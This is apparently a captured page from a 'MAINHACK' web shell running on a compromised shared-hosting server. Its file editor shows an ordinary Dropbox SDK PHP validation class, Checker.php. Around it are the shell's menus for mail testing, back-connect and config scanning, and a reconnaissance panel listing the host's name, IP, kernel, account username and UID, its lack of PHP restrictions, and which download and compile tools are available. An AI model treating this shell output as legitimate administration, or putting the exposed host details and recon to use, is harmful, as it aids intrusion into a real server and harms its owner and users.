[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Checker.php
<?php namespace Dropbox; /** * Helper functions to validate arguments. * * @internal */ class Checker { static function throwError($argName, $argValue, $expectedTypeName) { if ($argValue === null) throw new \InvalidArgumentException("'$argName' must not be null"); if (is_object($argValue)) { // Class type. $argTypeName = get_class($argValue); } else { // Built-in type. $argTypeName = gettype($argValue); } throw new \InvalidArgumentException("'$argName' has bad type; expecting $expectedTypeName, got $argTypeName"); } static function argResource($argName, $argValue) { if (!is_resource($argValue)) self::throwError($argName, $argValue, "resource"); } static function argCallable($argName, $argValue) { if (!is_callable($argValue)) self::throwError($argName, $argValue, "callable"); } static function argBool($argName, $argValue) { if (!is_bool($argValue)) self::throwError($argName, $argValue, "boolean"); } static function argArray($argName, $argValue) { if (!is_array($argValue)) self::throwError($argName, $argValue, "array"); } static function argString($argName, $argValue) { if (!is_string($argValue)) self::throwError($argName, $argValue, "string"); } static function argStringOrNull($argName, $argValue) { if ($argValue === null) return; if (!is_string($argValue)) self::throwError($argName, $argValue, "string"); } static function argStringNonEmpty($argName, $argValue) { if (!is_string($argValue)) self::throwError($argName, $argValue, "string"); if (strlen($argValue) === 0) throw new \InvalidArgumentException("'$argName' must be non-empty"); } static function argStringNonEmptyOrNull($argName, $argValue) { if ($argValue === null) return; if (!is_string($argValue)) self::throwError($argName, $argValue, "string"); if (strlen($argValue) === 0) throw new \InvalidArgumentException("'$argName' must be non-empty"); } static function argNat($argName, $argValue) { if (!is_int($argValue)) self::throwError($argName, $argValue, "int"); if ($argValue < 0) throw new \InvalidArgumentException("'$argName' must be non-negative (you passed in $argValue)"); } static function argNatOrNull($argName, $argValue) { if ($argValue === null) return; if (!is_int($argValue)) self::throwError($argName, $argValue, "int"); if ($argValue < 0) throw new \InvalidArgumentException("'$argName' must be non-negative (you passed in $argValue)"); } static function argIntPositive($argName, $argValue) { if (!is_int($argValue)) self::throwError($argName, $argValue, "int"); if ($argValue < 1) throw new \InvalidArgumentException("'$argName' must be positive (you passed in $argValue)"); } static function argIntPositiveOrNull($argName, $argValue) { if ($argValue === null) return; if (!is_int($argValue)) self::throwError($argName, $argValue, "int"); if ($argValue < 1) throw new \InvalidArgumentException("'$argName' must be positive (you passed in $argValue)"); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium56.web-hosting.com
Server IP: 198.54.119.70
PHP Version: 8.2.30
Server Software: LiteSpeed
System: Linux premium56.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 70.65 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: bkunreyz
User ID (UID): 830
Group ID (GID): 826
Script Owner UID: 830
Current Dir Owner: 830